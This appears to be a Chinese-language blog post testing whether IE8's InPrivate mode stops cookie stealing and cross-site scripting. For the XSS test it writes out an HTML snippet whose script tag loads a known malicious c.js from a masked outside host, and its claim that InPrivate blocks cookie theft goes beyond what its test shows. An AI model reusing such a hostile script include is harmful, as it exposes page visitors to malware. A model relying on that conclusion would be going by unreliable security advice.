瀏覽器的安全性設定是很尷尬的項目,從長久以來一直被討論。在 IE 預設的安全性中,如果是設定為「高」,那瀏覽的功能會嚴格限制,且會降低瀏覽的樂趣;調整不夠高的話,又容易被植入 ActiveX 與其他的不知名木馬...
瀏覽器的安全性設定是很尷尬的項目,從長久以來一直被討論。在 IE 預設的安全性中,如果是設定為「高」,那瀏覽的功能會嚴格限制,且會降低瀏覽的樂趣;調整不夠高的話,又容易被植入 ActiveX 與其他的不知名木馬...等等。
來自 Web 的安全性問題直到目前為止仍然層出不窮,從 SQL Injection 到個人資料被竊取一直是時有耳聞…
「企劃部的 Anderson 內部 Mail 一直無法登入,但密碼從未變更過」
「某人的網誌被破解,私密的資料都被散佈至網路上」
除了木馬程式、Key Logger 外,想想看平常是否有些不良的瀏覽習慣呢?在 TigerLin 處理的案例中,最多的就是「儲存帳號密碼,下次不用登入直接使用」 的設定。是的,帳號與密碼都很忠實的記錄在 Cookie 了,不信的話可使用 IECookie View 這套的工具看看會發現系統中居然有那麼多的 Cookie 在裡面,。這種情況下,只要攻擊者使用 Cookie Stealing 攻擊手法,即可取得帳號與密碼,不費吹灰之力就可冒名登入系統。一些較大的知名網站於 Cookie 中大多都會進行加密, 而資安最大的漏洞在於「人」,有沒有想過在公司內部的後端系統被自己人置入 Cookie Stealing 攻擊的地雷而不自知呢…(是 TigerLin 周遭的環境都很險惡嗎 ^~^a )。
回到主題,在這裡針對 InPrivate 的功能這裡也做了一些實測,請看以下測試~
- 防止 Cookie 的讀取
國內的大站 Yahoo 有提供「記住我的帳號」之相關功能,在這裡先進行一般登入,並勾選該功能後登入。接著關閉瀏覽器後,在隨意的進行一些原本必須要登入的動作 (購物、郵件...等等),可以發現不用再登入就可以直接進入功能介面了。
接著我們啟動 InPrivate 模式進行瀏覽,可從 [安全性]-> [InPrivate瀏覽] 啟動 (快速鍵 Ctrl + Shift + P)。
在一次進行上述動作後,會發現原本可直接登入的功能都必須要再度登入一次了,由此可見,IE8 InPrivate 可以阻擋 Web Application 讀取 Cookie 資料,進而達成防止 Cookie Stealing 的攻擊。
啟動 InPrivate 後,前方會有一個 InPrivate 的圖示,可藉此分辨是在一般模式或是 InPrivate 模式。 - 防止 Cross-Site Scripting 攻擊
備註:這個測試很危險,TigerLin 是在虛擬機進行的,只是為了要實驗 InPrivate 是否可防止 XSS,沒有觀念的情況下請勿進行測試。
在這個測試中,我們接著進行測試 XSS 的攻擊,這次就拿之前一波的 c.js 進行測試~ (再次強調,In 虛擬機器中)。首先建立一個 HTML,裡面簡單的幾行即可(真實位址已經以 xxx 保護):<p>這是測試 InPrivate 阻擋 XSS 的 HTML</p>
<Script src="http://xxx.xxx/c.js"></script>
結果防毒軟體馬上跑出來了:
我想如果 InPrivate 阻擋成功的話,那引用 Google Code 的站台應該也會有一半以上的功能無法使用了吧,因此個人認為現象是合理的。
相對的,也說明了一件事情... InPrivate 可以保護機密資料的讀取,但還尚未具有阻擋與分辨 XSS 的能力,所以不要認為只要開啟 InPrivate 模式就萬事 OK 了,瀏覽站台的時候還是要多看看才不會被輕易的誤踩地雷。